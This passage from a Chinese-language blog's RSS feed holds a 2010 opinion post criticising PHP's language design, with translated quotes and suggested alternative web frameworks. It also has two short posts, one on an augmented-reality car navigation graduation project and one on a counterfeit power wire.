<p>Secondly, since PHP is easy to learn, is ubiquitous, and there’s lots of PHP examples on the web, it’s easy for a non-pro to pick up PHP and start monkeying with it. They learn bad habits and then publish their code and teach others bad habits. Some of the most popular open source PHP applications ever are really poorly coded. Gallery and Wordpress come to mind.</p>
<p>A hammer can be used to build a beautiful structure or a mis-shapen birdhouse. And it’s easy to flatten your thumb. With so many amateur PHP developers out there, it’s not surprising there’s a lot of flat-thumb code in the wild.</p></blockquote>
<p>大略翻譯:</p>
<p style="padding-left: 30px;">如果你想學PHP，請讓我知道，我很樂意幫助你</p>
<p style="padding-left: 30px;">PHP非常容易寫出很爛的程式碼，對Perl、C和Java來說也一樣，我想有兩件事情讓人對於PHP程式碼覺得很糟糕，首先，當你寫出了垃圾程式，它一樣運作的很好，除非你是專業的程式設計師，或是維護大量的程式碼，不然你根本不在意那程式碼是些垃圾。</p>
<p style="padding-left: 30px;">第二，因為PHP很容易學，很普及，在網路上有很多PHP的範例，很容易就有非專業的人用PHP來亂搞，他們學習糟糕的習慣，然後發表他們的程式教其他人這些壞習慣，很多流行的Open source PHP程式也寫得非常爛，說到這裡就想到Gallery和Wordpress</p>
<p style="padding-left: 30px;">它是一把可以建造漂亮結構或是歪曲鳥籠的槌子，還有它很容易敲爛你的姆指，有這麼多業餘的PHP開發者，所以在外面有這麼多爛程式也不令人意外</p>
<blockquote><p>Dominic Mitchell<br />
(略) Every time I’ve looked at PHP, I’ve been unable to find out how they use placeholders in code that talks to the database. Yes, every database adaptor provides a quote function, but nobody uses it (consistently). And people wonder why PHP code is always full of security holes.</p>
<p>It’s a real shame, as I can see that there’s a lot to like in PHP. But it really needs to clean its act up to appeal to people coming from other programming languages, instead of just people coming from dreamweaver.</p>
<p>I actually heard David Heinemeier Hansson (sp?) talking about rails the other day. One of the key points he made is that it should be easy to do the right thing. That’s why Rails hits a sweet spot for me. But when you look at PHP, yes, it’s easy to code, but it’s not easy to do the right thing. That’s where it falls down.</p></blockquote>
<p>大略翻譯:</p>
<p style="padding-left: 30px;">每次我看PHP的程式，都沒辦法找到他們怎樣在程式碼中用placeholders來和資料庫溝通，是的，所有資料庫介面都有提供過慮(quote 就是取代掉特殊符號)的函數，但是沒有人去用它 (一致的)，然後人們就很困惑為什麼PHP老是一堆安全性的漏洞</p>
<p style="padding-left: 30px;">真的很丟臉，我看見很多人喜歡PHP，但是它需要向上提升才能吸引更多其它程式語言的開發者來使用，而不是那些從Dreamweaver跳槽過來的使用者</p>
<p style="padding-left: 30px;">我前些天聽見David Heinemeier Hansson談到Rails (Ruby On Rails)，其中有個重點是他很容易把事情做對，那就是為什麼Rails能夠贏得我的歡心，但是反觀PHP，是的，他很容易寫，但是他不容易把事情做對，這就是他失敗的地方</p>
<h3><a href="http://www.bitstorm.org/edwin/en/php/">What I don&#8217;t like about PHP</a></h3>
<p>這裡面也提到並列出PHP的一些經典缺陷，像是namespace (雖然5.3版新增了，但是詭異的是用反斜線來做區分)，遞迴問題，Magic quote問題等等</p>
<blockquote><p>PHP has two advantages: it&#8217;s very easy and it&#8217;s widely supported by webhosting companies. But that doesn&#8217;t make it a good language.</p>
<p>For very small projects, it can be a nice programming language. But for larger and more complex projects, PHP can show its weakness. When you search long enough, you&#8217;ll find solutions (work arounds) to some of the mentioned problems. So when a solution is known, why isn&#8217;t it fixed? And why are the fixes not mentioned in the manual?</p>
<p>It&#8217;s good that an open source language is very populair. Unfortunately, it&#8217;s not a great language. I hope all problems will be solved once (in PHP 6?) and we will have an open source language that&#8217;s open source and good.</p>
<p>Until then, when you start a project larger than five scripted pages, you might also consider C#/ASP.Net or Java/JSP as a better solution. And if you want really good (distributed) performance, you can look at some initiatives which have been popping up the last couple of years. Just to mention a couple of them: Nginx, Couch DB and Node.js. They all blow existing systems away.</p></blockquote>
<p>大略翻譯</p>
<p style="padding-left: 30px;">PHP有兩個優點，它非常容易使用，還有廣範地被webhosting公司支援，但是這並沒有使他成為一個好的語言</p>
<p style="padding-left: 30px;">對所有的小專案來說，它可以是一個好的程式語言，但是<strong>對於大而且複雜的專案來說，PHP就顯得很弱</strong>，在你搜尋夠久時<strong>，你會發現部份這些提到的問題的解決方案，即然這些解決方案是已知的，為什麼這些問題沒有被解決? 還有為什麼這些修正沒有在手冊裡提到?</strong></p>
<p style="padding-left: 30px;">當一個open source的語言非常流行是一件好事，不幸的是他不是一個優良的語言，我希望所有問題都能一口氣被解決(在PHP6?)，這樣我們就會有一個好的open source語言</p>
<p style="padding-left: 30px;">直到現在，當你開始一個大於五個script檔案的專案時，你可能會考慮C#/ASP.Net 或 Java/JSP做為更好的解決方案，還有如果你真的想要好的(分散式)效能，你可以看某些這幾年創新的解決方案，例如Nginx, Couch DB還有Node.js，他們會趕走現存的系統。</p>
<h3><a href="http://www.ukuug.org/events/linux2002/papers/html/php/">Experiences of Using PHP in Large Websites</a></h3>
<p>這篇很詳細地從語言的層面說明PHP語言設計上到底有哪些缺陷</p>
<blockquote><p>Furthermore, PHP suffers from a related issue: the language was accreted, rather than ever having been designed. Most programming languages that have achieved genuine long-lasting popularity have been the work of at most a small team of gifted language designers. These designers have worked as much on deciding what to leave out of their languages as on what to put in. PHP’s creator, Rasmus Lerdorf, adopted a deliberate policy of letting others contribute freely to the development of the PHP implementation — and thus implicitly to that of the language itself. Where languages like C, C++, or Perl have had a Ritchie, Stroustrup, or Wall directing their evolution, Lerdorf does not seem to have applied the same sorts of controls to PHP. The result in some cases is that PHP lacks any sort of coherent world view. This in turn only increases the complexity for those trying to actually build working solutions with PHP.</p></blockquote>
<p>大略翻譯:</p>
<p style="padding-left: 30px;">除此之外，PHP受苦於相關的問題: 這語言是拼湊出來而不是被設計出來的，大部份有名望的程式語言都是由小部份天才語言設計者所組成的團隊的作品，這些設計師做了很多語言的某些特性是否該保留或新增的決定，而PHP的建立者，Rasmus Lerdorf採用討論的機制讓其他人自由地開發PHP的實作，也就是PHP語言的本身，像C, C++或Perl有Ritchie, Stroustrup, or Wall等人指導他們的演進，Lerdorf似乎沒有對PHP採用同樣的控制，做為結果就是PHP缺少了一貫的世界觀，這只使得要在PHP上建立解決方案變得更加複雜</p>
<p>從這段我們可以瞭解，<strong>PHP的設計的決定很多在亂搞一通</strong>，它原本的作者也對程式語言的設計沒有才能</p>
<blockquote><p>A similar problem crops up with relational operators. PHP’s simple variables can contain either a number or a string. PHP converts between numbers and strings whenever necessary, so that the programmer need not worry about the underlying type.</p>
<p>That’s the theory, anyway; in practice, this makes it extremely difficult to compare two values of different types for equality. The standard PHP equality-testing operator is spelled ==:</p>
<p>$n1 = 0;      $n2 = 10;<br />
$s1 = &#8216;foo&#8217;;  $s2 = &#8216;bar&#8217;;</p>
<p>$n1 == $n2;  // Numeric comparison, returns false<br />
$s1 == $s2;  // String comparison, returns false<br />
$n1 == $s1;  // Good question<br />
$s1 == $n1;  // Is this any different?</p>
<p>The problem is that, when the values are weakly typed, and there is only one equality-testing operator, the language cannot determine the programmer’s intention. PHP has a variety of kludges to deal with this:</p>
<p>* Some programmers recommend using !strcmp($n1, $s1) to force a string interpretation.<br />
* You can cast one or both sides to the intended type.<br />
* PHP 4 has a === operator. It works the same way as ==, except that it additionally requires both sides to have the same type. This sounds initially like the perfect solution — just use === wherever you would otherwise have used ==. Unfortunately, you lose the convenience of being able to treat numbers and strings interchangeably: it is no longer the case that 3 === 『3&#8243;.</p>
<p>Perl has similar rules for its scalar variables: they can contain either a number or a string, and the language freely converts as necessary. However, Perl allows the programmer to express the intent: it offers both a numeric-equality operator == and a string-equality operator eq. PHP explicitly rejects this approach. The manual for PHP 2 says “Once you start having separate operators for each type you start making the language much more complex. You can’t use == for strings, you now would use eq. I don’t see the point, especially for something like PHP where most of the scripts will be rather simple and in most cases written by non-programmers who want a language with a basic logical syntax that doesn’t have too high a learning curve.” Unfortunately, in cases like this, the complexity is rather like an air bubble under freshly hung wallpaper: pushing it from one place to another will only leave more mess on the wall.</p></blockquote>
<p>大略翻譯:</p>
<p style="padding-left: 30px;">一個類似的問題在關係運算子出現，PHP的簡單變數可以包含數字或字串，PHP在需要時轉形成數字或字串，所以程式設計師不需要擔心底層的形別</p>
<p style="padding-left: 30px;">這只是理論，一般來說，這使比較兩個不同形別不同值是否相等變得極度的困難，標準的PHP相等測試運算為 ==:</p>
<p style="padding-left: 30px;">$n1 = 0;      $n2 = 10;<br />
$s1 = &#8216;foo&#8217;;  $s2 = &#8216;bar&#8217;;</p>
<p style="padding-left: 30px;">$n1 == $n2;  // Numeric comparison, returns false<br />
$s1 == $s2;  // String comparison, returns false<br />
$n1 == $s1;  // Good question<br />
$s1 == $n1;  // Is this any different?</p>
<p style="padding-left: 30px;">問題在於，當值是weakly type，且只有一種相檔測式運算子，語言與法判斷程式設計師的意圖，PHP有很多暫時的解決方案:</p>
<p style="padding-left: 30px;">* 有些程式設計師建議使用 !strcmp($n1, $s1)來強迫解釋成字串<br />
* 你可以轉型兩邊成為想要的型別<br />
* PHP4有一個 === 運算子，它運作和==一樣，除了他需要兩邊是同樣的類型，聽起來好像是完美的解決方案 &#8211; 只使用 ===在你使用 ==的地方，不幸的是你失去了數字和字串相容的方便性，再也不能使用 3 === 『3&#8243;</p>
<p style="padding-left: 30px;">Perl有一個類似的規則給他的純量變數，他們可以包含一個數字或字串，語言可以自由的在需要的時候轉形，僅管如此Perl允許程式設計師表答他的意圖: 他提供了數字相等運算子 == 還有字串相等運算子 eq，PHP明確地拒絕這個方法，PHP2的手冊說到 『當你開始有兩種不同的運算子給不同的形別時，你開始讓語言變得更複雜，<strong>你無法對字串使用==，你要使用eq，我不瞭解這用意在哪裡</strong>，特別是對像PHP這種將會非常簡單的語言，<strong>且在大部份情況下，PHP都是由非程式設計師來寫，他們只是想寫基本邏輯語法而且不想要一個太高的學習曲線</strong>『，不幸的是，像這樣的情況，複雜的情況就像一個在璧紙後面隆起的泡泡，把它從這裡移到納裡只會把牆弄得更遭。</p>
<p>又一個<strong>業餘語言設計者在PHP所犯下的設計錯誤，而且程式語言也都設計在於討好初學者，而不是更嚴僅</strong></p>
<p>說了PHP這麼多壞話，這還只是冰山一角，任何有上過資工系』程式語言』課程的人都能發現PHP這程式語言一堆不合理的設計/實作，但是PHP也不是完全不可取，在寫小形專案時他就很不錯，這文章寫得真的很不錯，他列出了一個檢查表，讓你檢查什麼情況適合使用PHP</p>
<blockquote><p>We have identified a number of problems that arise when attempting to use PHP on large websites. However, we do not claim that PHP should never be used, only that these issues make its use inadvisable in certain circumstances. The following checklist suggests questions that should be considered before making a decision to use PHP for a given project.</p>
<p>*How much control will you have over the deployment platform? PHP’s one-size-fits-all approach to the php.ini file makes it hard to share servers with sites that were developed with different settings.<br />
*How many people will work on the site, now and in the future? PHP as a language lacks the features necessary to promote effective teamwork; the bigger your team, the greater the problems you’ll have.<br />
*How big will the site be, in terms of numbers of distinct pages? This is related to the previous item: the bigger the site, the greater your need will be for language features that promote teamwork.<br />
*How long will the site be expected to last? The longer it lasts, the more likely it is that significant design changes will be needed. If you use PHP in the obvious manner, major design changes are difficult. If you extend PHP with a templating system, whether ad hoc or carefully enforced, using PHP buys you little if anything.</p>
<p>*How experienced are the developers; and how complex will the site need to be? Experienced developers will find themselves hindered rather than helped by the language’s simplicity. Inexperienced developers will find the simplicity a significant boon — but if you have inexperienced developers trying to develop a complicated dynamic site, you will soon run into other problems.</p></blockquote>
<p>大略翻譯:</p>
<p style="padding-left: 30px;">我們確認了不少用PHP寫大型網站會遇到的問題，但是我們不宣稱PHP永遠不該被使用，只是那些問題造成在現在的情況下不宜使用，但是下面這個檢查表建議了一些可以在決定使用PHP來開發專案前需要考量的問題</p>
<p style="padding-left: 30px;">* 你對於你部署用的平台有多少控制權? PHP的設定檔php.ini的一次設定影響全部的方式使得要針對不同網站使用不同設定變得很困難</p>
<p style="padding-left: 30px;">* 有多少人開發這個網站? 現在? 還有未來? PHP是一個缺乏必要特性來增進有效團隊合作的語言，當你的團隊越大，你會遇到越多問題</p>
<p style="padding-left: 30px;">* 你的網站會有多大? 有幾個不同的頁面? 這關係到前一個項目，網站越大，你需要的語言特性就要越好來提升團隊的合作</p>
<p style="padding-left: 30px;">* 你的網站會運行多久? 你的網站運行越久，越有可能需要進行設計上的重大改變，如果你使用PHP是因為明顯的意圖，主要的設計改變將會非常困難，如果你用樣版系統延伸PHP，不管是臨時或是特製的，使用PHP都沒帶來什麼好處</p>
<p style="padding-left: 30px;">* 你有多少身為開發者的經驗; 還有網站將會有多複雜? 有經驗的開發者會發現他們因為語言的簡單受到阻礙而非幫助，沒經驗的開發者會發現簡單是一個重要的好處，但如果你有沒經驗的開發者來試圖開發一個複雜的動態網站，你很快會遇到其它問題</p>
<p>該文章作的結論是</p>
<blockquote><p>PHP is a convenient language for rapidly prototyping simple dynamic websites. Websites thus built can in many cases be deployed indefinitely, without spending time and money on refactoring code in a different language. PHP’s simplicity makes it a good language for inexperienced programmers, such as those moving from a pure page-design rôle to a site development one.</p>
<p>For more experienced developers, though, the language’s simplicity rapidly turns into complexity, slowing down the development process. These developers are the ones who have the skills needed to build large and/or complex websites; using PHP for such sites therefore tends to be a net loss. This tendency is reinforced by PHP’s lack of the linguistic features needed to promote working on large software projects. If your project is at all large or complex, it may be better to look elsewhere when choosing an implementation language.</p>
<p>In cases where PHP has been determined to be inappropriate, what language should be used? There is considerable choice here; few languages are as bad as PHP for doing serious development work. The author and his colleagues have had good results with Perl, and believe that languages such as C++, Java, and Python should serve equally well.</p></blockquote>
<p>大略翻譯:</p>
<p style="padding-left: 30px;">PHP是一個用於快速開發簡單動態網站原形的語言，在沒有花錢和時間重構成不同的語言前，網站在很多情況下都不能被明確地部署，PHP的簡單使它成為一個給沒有經驗的程式設計者的好語言，像是一個單純從事頁面設計開發的人</p>
<p style="padding-left: 30px;">對更多有經驗的開發者而言，語言的簡單很快的變成了複雜，減慢了開發的進度，這些開發者是有能力開發建置大形的複雜網站; 使用PHP在這樣的網站會傾向於成為平白的損失，這些傾向是來自於PHP缺乏對提升大形專案開發工作的語言特性，如果你的專案是大且複雜的，在選擇實做的語言之前最好去找其它的選擇</p>
<p style="padding-left: 30px;">當PHP被認為不適合時，該使用什麼語言? 有很多選擇; 對於開發重要專案，很少有像PHP這麼糟糕的語言，作者和他的同事用Perl有好的結果，且相信像C++、Java還有Python可以有同樣好的結果</p>
<p>雖然從設計哲學看來我不喜歡Perl的哲學:</p>
<blockquote><p>There&#8217;s more than one way to do it</p></blockquote>
<p>而比較喜歡Python的</p>
<blockquote><p>There should be one&#8211; and preferably only one &#8211;obvious way to do it.</p></blockquote>
<p>但是做為一個程式語言，Perl的設計絕對比PHP好上太多了，PHP真的是拼湊出來的</p>
<h2>PHP的問題</h2>
<p>你可以在上面這些文章中發現，現在是2010年了，以現今的眼光來看，PHP確實是爛到暴炸了，有人反對我所說的，是說程式是人寫的，所以程式的好壞是在人而不是在程式語言本身，而且也有很多人有提到PHP可以寫出很棒的程式，這我也很認同，但是如同這些人也有提到的，<strong>要寫出優良的PHP程式非常困難，為什麼? 因為他有太多缺陷了</strong>，是的，不可否認他的門檻真的很低，但是<strong>那些缺陷就像是地雷一樣，而它的門檻就像是雷區的鐵絲網，讓大部份人可以跳進雷區來玩，不懂那些瑣碎的語言缺陷，很容易就被滿地的地雷炸飛，只有少數的人能夠熟知地雷的位置，在這雷區中行走自如，那是非常困難的事</strong>，換言之，PHP的學習曲線一開始是很平緩的，大部份人都可以快速上手寫出簡單的程式，但是當要寫的東西越來越複雜，要懂的東西就不是一般的多和瑣碎，因為那些問題都來自語言的設計不良，不瞭解就很容易誤用或濫用，所以到後來的學習曲線會很抖，而<strong>就算你懂也會那些問題，還有另一個疑問，為什麼要堅持用這個破爛而不知進步的爛語言? 而不改用一個更優良的語言或開發平台呢?</strong></p>
<p>今天我會說他爛，有很大部份原因是因為我想讓大家瞭解，其實除了<strong>PHP以外還有很多網頁開發的平台</strong>，而和這些現代的網頁開發平台相較之下，單純用PHP開發網頁真的是宇宙超級霹靂無敵爛，拿框架比語言是很不公平，但是<strong>就算是比較語言本身，PHP一樣還是很爛</strong>，但是<strong>他也有他的優點，就是他非常流行，所以教學、資源、範例、現成的程式等等，都很豐富，而且門檻很低，進入地獄的低門檻</strong>，這樣的優勢能夠持續多久? PHP這麼流行，加上我們<strong>從上面看到引用的文章就知道，PHP改進的商討是笑話，一堆業餘的程式語言設計師在一起做出爛決定，很難做出痛改前非的重大且正確的改變</strong>，君不見PHP做出多少讓開發者罵到臭頭的爛決定，被罵了多少個版本才改回來，除非PHP真的改掉他那些壞毛病，不然<strong>如果想走向專業的話，我不建議學習PHP，但如果只是業餘和興趣，PHP真的是很不錯的玩具</strong></p>
<p>說他爛的同時，我也希望他能夠變得更好，但是以我過往的經驗，<strong>PHP所謂的改善，總是讓人失望加憤怒</strong>，以最有名的例子Magic quote來說，我有一次發現我的PHP程式出問題，才知道原來是新版本的PHP會自動幫你escape引號，他的出發點是好意防止SQL Injection，但是欠缺深思熟慮，他這樣做使得既有的程式碼，正確地以mysql_escape之類函數來escape特殊符號的程式，需要特地寫workaround來解決此問題，再加上這樣的特性是可以設定改變的，所以你得花更多一點心力去判斷它是否有啟動Magic quote，這是在<strong>懲罰程式設計師，討好初學者</strong>，我不知道為什麼PHP社群會做出這樣令人傻眼的更新，不可否認地這樣做確實是救到了很多不懂得過慮 SQL Injection的新手，<strong>討好了新手，打了老手巴掌，但是卻開啟了更多問題</strong>，這類的改進方式，我記得在PHP的改進過程中遇過不少，都是令人傻眼的』改善』</p>
<h2>替代的方案</h2>
<p>現在其實已經有太多新的網頁技術可以使用，不管是哪一個，都比直接寫PHP來得好，但是缺點就是入門門檻比較高，目前資源比較少，又或著在國外資源很多，但是國內中文資源很少，如果要走向專業的話，絕對值得投資，以下列出一些我所知道的解決方案</p>
<h3><a href="http://turbogears.org/">TurboGears</a></h3>
<p>集合各種Python最好的函式庫而成的網頁框架，可以說是集大成，它的特性是組件之間的藕合很鬆，所以可以換置組件，我個人就是使用TurboGears，他有一個有驚人的視訊影片，由TurboGears的作者親自示範如何在20分鐘裡寫出一個Wiki程式，有興趣可以下載來看看</p>
<p><a href="http://files.turbogears.org/video/20MinuteWiki2nd.mov">20分鐘寫Wiki影片</a></p>
<p>知名的Open source網站Sourceforge.com就是用TurboGears2寫的，可以參考這篇文章</p>
<p><a href="http://compoundthinking.com/blog/index.php/2009/07/16/turbogears-on-sourceforge/">TurboGears on Sourceforge</a></p>
<h3><a href="http://www.djangoproject.com/">Django</a></h3>
<p>不同於TurboGears的集大成，Django所有組件都是量身打造的，因此他的藕合度比較高，但是因為原本就是商業用途，所以有較多的實際商用經驗</p>
<h3><a href="http://www.rubyonrails.org.tw/">Ruby On Rails</a></h3>
<p>基於Ruby語言的網頁框架，因為我不懂Ruby，所以不太熟這款框架，但我知道網路上有高手在24小時之內在八八風災期間寫出物資需求回報的網頁程式，開發效率也相當好</p>
<h3>使用PHP的框架</h3>
<p>有人說PHP也有優秀的框架，而且用框架比語言很不公平，所以我加了這條，使用PHP的框架能提升一定程度的生產力，雖然他減清了某些負擔，但是少有框架是完全不用寫程式的，當<strong>你需要自己寫PHP的程式部份時還是得面對語言缺陷</strong>，以下是知名的PHP網頁框架</p>
<p><a href="http://www.symfony-project.org/">Symfony</a></p>
<p><a href="http://framework.zend.com/">Zend framework</a></p>
<p><a href="http://cakephp.org/">CakePHP</a></p>
<h2>成功的例子</h2>
<p>當然你聽到這些莫生的名詞，可能會懷疑這樣的東西真的可行嗎? 就像我當初的疑問一樣，但是現在已經有越來越多的網站往這些新世代的網頁以這些新的技術為基礎，或是舊的網站改用新的技術重新寫過，舉幾個我所知道以Python為語言的網站有這些</p>
<p><a href="http://plurk.com">Plurk</a></p>
<p><a href="http://youtube.com">Youtube</a></p>
<p><a href="http://sourceforge.com">Sourceforge</a></p>
<p><a href="http://reddit.com">Reddit</a></p>
<p><a href="http://justin.tv/">Justin.tv</a> (用的是<a href="http://twistedmatrix.com/trac/">Twisted</a>)</p>
<h2>最後</h2>
<p>我知道我講的這些可能聽起來很刺耳，但是確實是我所見所聞，你可以不認同我所說的，反駁我所說的，只要是理性的討論都歡迎並且尊重，請勿進行人身攻擊，還有我想知道有沒有用過現代的網頁技術，回頭去看PHP覺得是很好的，我也希望能瞭解這樣的想法</p>
<p>更新:</p>
<ul>
<li>2010/1/7 強調PHP爛在語言設計，拿掉一些太偏頗的比較(語言和框架)，和增加另兩個網站連結，以及PHP的框架，還有增加PHP腦殘設計決定和checklist的翻譯</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2010/01/06/old-php-sucks/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
<enclosure url="http://files.turbogears.org/video/20MinuteWiki2nd.mov" length="41351154" type="video/quicktime" />
		</item>
		<item>
		<title>以嵌入式系統實作擴增實境導航系統</title>
		<link>http://blog.ez2learn.com/2009/12/16/ar-navigation-system-based-on-embedded-system/</link>
		<comments>http://blog.ez2learn.com/2009/12/16/ar-navigation-system-based-on-embedded-system/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 16:53:27 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[專題]]></category>
		<category><![CDATA[導航系統]]></category>
		<category><![CDATA[嵌入式]]></category>
		<category><![CDATA[embedded system]]></category>
		<category><![CDATA[車載]]></category>
		<category><![CDATA[擴增實境]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=904</guid>
		<description><![CDATA[終於，我們的畢業專題完成了，我們的方向是車載嵌入式系統，也就是車上的電腦，能做的東西其實蠻多的，但是市面上可能都已經有那樣的產品存在，於是我想做一些比較不一樣的，而在當時我有看見Android手機的Google街景功能，手機轉動，畫面也會跟著動，於是我就想到，為何不能把導航系統以擴增實境的方式呈現呢? 如果我們在車上裝攝影機，然後將拍到的影像和地圖資訊結合，這樣可以用更直覺方式瞭解地圖的資訊，這樣除了直覺還有個好處，就是順便可以做為行車記錄系統，一舉兩得，而市面上似乎沒有這樣的產品，我比較喜歡新奇的東西，如果市面上的產品都做到爛掉了，做一個同樣的東西出來不是很有趣，因此就決定這樣的題目
這樣的導航系統，路都是像下面這張合成圖一樣，貼在拍到的畫面上，所以駕駛人只要看一眼，就能知道路哪條是哪條，不過由於是畢業專題，能做的時間有限，所以只完成了道路的繪製，路名等其它的資訊就沒有加上去

在當繪圖系統搞定之後，我們還整合了GPS和電子羅盤，最候我們進行了實機的demo，我們把嵌入式系統擺在手推車上，然後在校園裡推著跑，不得不抱怨，那GPS有夠爛，常常會自己亂飄移，經過樹下就馬上定位失敗，比起我的手機，定位準多了，不過拿AGPS比GPS或許不太公平，而一路上又因為學校的地上是磚路，不停的震動，電子羅盤是接在麵包板上的，用rs232的線接板子，所以常常三不五會震掉，攝影機也亂晃，所以後來找來膠帶貼起來，不過因為程式寫得有點趕，所以似乎有bug，跑到一半不明的原因程式終止了，可以聽見哀豪的聲音，以下是demo的攝影

這樣一個以擴增實境的概念做導航的系統來說，我覺得已經可以現擴增實境導航系統的優勢，不過還有很多問題得解決，像是GPS定位實在不夠精準，可能得改用AGPS來達成更精確的定位，又或著判斷目前座標在地圖上最近的道路是哪一條，我發現市面上好像有些導航系統就是這樣做，這麼一來就能讓畫面的顯示更準確，還有當車子開在上坡和下坡時，應該也要能感應路面的坡度，然後調整投影的參數
雖然這只是一個有些實驗性質的系統，但是在這樣完成之後，我覺得用擴增實境來做導航真的可以試試看，有興趣的廠商可以試著開發看看，優點就像我所說的，道路的地理空間關系可以直覺地被瞭解，而且市面上也有行車記錄系統，做為導航系統，它同時也可以記錄拍到的畫面，做為行車記錄系統，當然，也是有些缺點，缺點就是需要額外的攝影機，還得拉到車子上安裝，這表示需要額外的成本，裝設上也會比較困難，但如果是車子本身就內建這樣的系統，就沒有裝設的問題
最後，希望有一天在市面上可以看見擴增實境的導航系統
]]></description>
			<content:encoded><![CDATA[<p>終於，我們的畢業專題完成了，我們的方向是車載嵌入式系統，也就是車上的電腦，能做的東西其實蠻多的，但是市面上可能都已經有那樣的產品存在，於是我想做一些比較不一樣的，而在當時我有看見Android手機的Google街景功能，手機轉動，畫面也會跟著動，於是我就想到，為何不能把導航系統以擴增實境的方式呈現呢? 如果我們在車上裝攝影機，然後將拍到的影像和地圖資訊結合，這樣可以用更直覺方式瞭解地圖的資訊，這樣除了直覺還有個好處，就是順便可以做為行車記錄系統，一舉兩得，而市面上似乎沒有這樣的產品，我比較喜歡新奇的東西，如果市面上的產品都做到爛掉了，做一個同樣的東西出來不是很有趣，因此就決定這樣的題目</p>
<p>這樣的導航系統，路都是像下面這張合成圖一樣，貼在拍到的畫面上，所以駕駛人只要看一眼，就能知道路哪條是哪條，不過由於是畢業專題，能做的時間有限，所以只完成了道路的繪製，路名等其它的資訊就沒有加上去</p>
<p><a href="http://blog.ez2learn.com/wp-content/uploads/2009/12/nav01.png"><img class="alignnone size-full wp-image-905" title="nav01" src="http://blog.ez2learn.com/wp-content/uploads/2009/12/nav01.png" alt="nav01" width="531" height="427" /></a></p>
<p>在當繪圖系統搞定之後，我們還整合了GPS和電子羅盤，最候我們進行了實機的demo，我們把嵌入式系統擺在手推車上，然後在校園裡推著跑，不得不抱怨，那GPS有夠爛，常常會自己亂飄移，經過樹下就馬上定位失敗，比起我的手機，定位準多了，不過拿AGPS比GPS或許不太公平，而一路上又因為學校的地上是磚路，不停的震動，電子羅盤是接在麵包板上的，用rs232的線接板子，所以常常三不五會震掉，攝影機也亂晃，所以後來找來膠帶貼起來，不過因為程式寫得有點趕，所以似乎有bug，跑到一半不明的原因程式終止了，可以聽見哀豪的聲音，以下是demo的攝影</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/UpC7nDIEmac&amp;hl=zh_TW&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/UpC7nDIEmac&amp;hl=zh_TW&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>這樣一個以擴增實境的概念做導航的系統來說，我覺得已經可以現擴增實境導航系統的優勢，不過還有很多問題得解決，像是GPS定位實在不夠精準，可能得改用AGPS來達成更精確的定位，又或著判斷目前座標在地圖上最近的道路是哪一條，我發現市面上好像有些導航系統就是這樣做，這麼一來就能讓畫面的顯示更準確，還有當車子開在上坡和下坡時，應該也要能感應路面的坡度，然後調整投影的參數</p>
<p>雖然這只是一個有些實驗性質的系統，但是在這樣完成之後，我覺得用擴增實境來做導航真的可以試試看，有興趣的廠商可以試著開發看看，優點就像我所說的，道路的地理空間關系可以直覺地被瞭解，而且市面上也有行車記錄系統，做為導航系統，它同時也可以記錄拍到的畫面，做為行車記錄系統，當然，也是有些缺點，缺點就是需要額外的攝影機，還得拉到車子上安裝，這表示需要額外的成本，裝設上也會比較困難，但如果是車子本身就內建這樣的系統，就沒有裝設的問題</p>
<p>最後，希望有一天在市面上可以看見擴增實境的導航系統</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2009/12/16/ar-navigation-system-based-on-embedded-system/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>黑心電線</title>
		<link>http://blog.ez2learn.com/2009/12/08/suck-wire/</link>
		<comments>http://blog.ez2learn.com/2009/12/08/suck-wire/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 19:15:59 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=901</guid>
		<description><![CDATA[今天在忙著趕畢業專題的電子羅盤時，一直有鬼打牆的情況發生，沒多久前還運作得好好的，一下子突然停掉了，一開始我以為是麵包板上的線插壞或鬆了，花了我一整個晚上在找問題的來源，我拿著三用電錶到處量電壓，終於，最後我發現，一條USB接過來的電源線，在某個鱷魚夾還有將近5V的電壓，但經過某條線之後，電壓就有很大的機會變得很低，那條線很敏感，只要稍微扯動一下，電壓就會變很低，拉USB當電源線，是因為電子羅盤需要5V的電壓驅動，之所以會一下子能運作，一下子運作不了，就是那條線造成的，一開始我認為是接頭觸鬆掉了，於是將金屬接頭的螺斯鬆開，打算截掉後面一點的外皮，再重接上去，然而，當我把金屬接頭拿下來，用剪刀在絕緣外皮切一圈，接著轉動外皮要將它拔下來，其中一條線很容易就把皮轉下來，裡面亮晶晶的銅線露了出來，而另一條線，一轉裡面的導線就斷了，一開始我認為應該是我切深所以斷掉了，再往後面的地方截，下場也是一樣，於是我發現，那條一截就斷的線，之所以會斷是以經繡蝕得很嚴重了，我一開始認為，應該只是因為較接近終端，所以有空氣跑進去讓它生鏽了，於是再往更後面截，截了好幾次，都遇到這種生鏽的線，開始覺得不對勁，那線生鏽到粉狀的地部了，都已經切這麼後面了，絕緣外皮還好好的，沒理由線會鏽成那樣，而且比照另外一條線，是亮晶晶的狀態

而到了更後面點的地方，原本沒鏽的線生鏽了，生鏽的線那條到那裡變沒鏽了，仔細想想，銅生鏽好像是綠色的，所以那好像也不是生鏽，我開始想，這一點都不像是後來才變成這樣的，像是一開始包進去時就是這個樣子，搜尋了一下』黑心電線』，果不其然，發現大陸果然有黑心電線
湖北红旗电缆有限责任公司生产销售的』黑心』电线
情況也很類似，包廢線進去，都已經截到這麼後面了，線還是鏽的，我只能說，這百分之九十九是黑心電線，為了這條黑心電線，我浪費了整個晚上在找出問題在哪，好樣的黑心電線，就感心
]]></description>
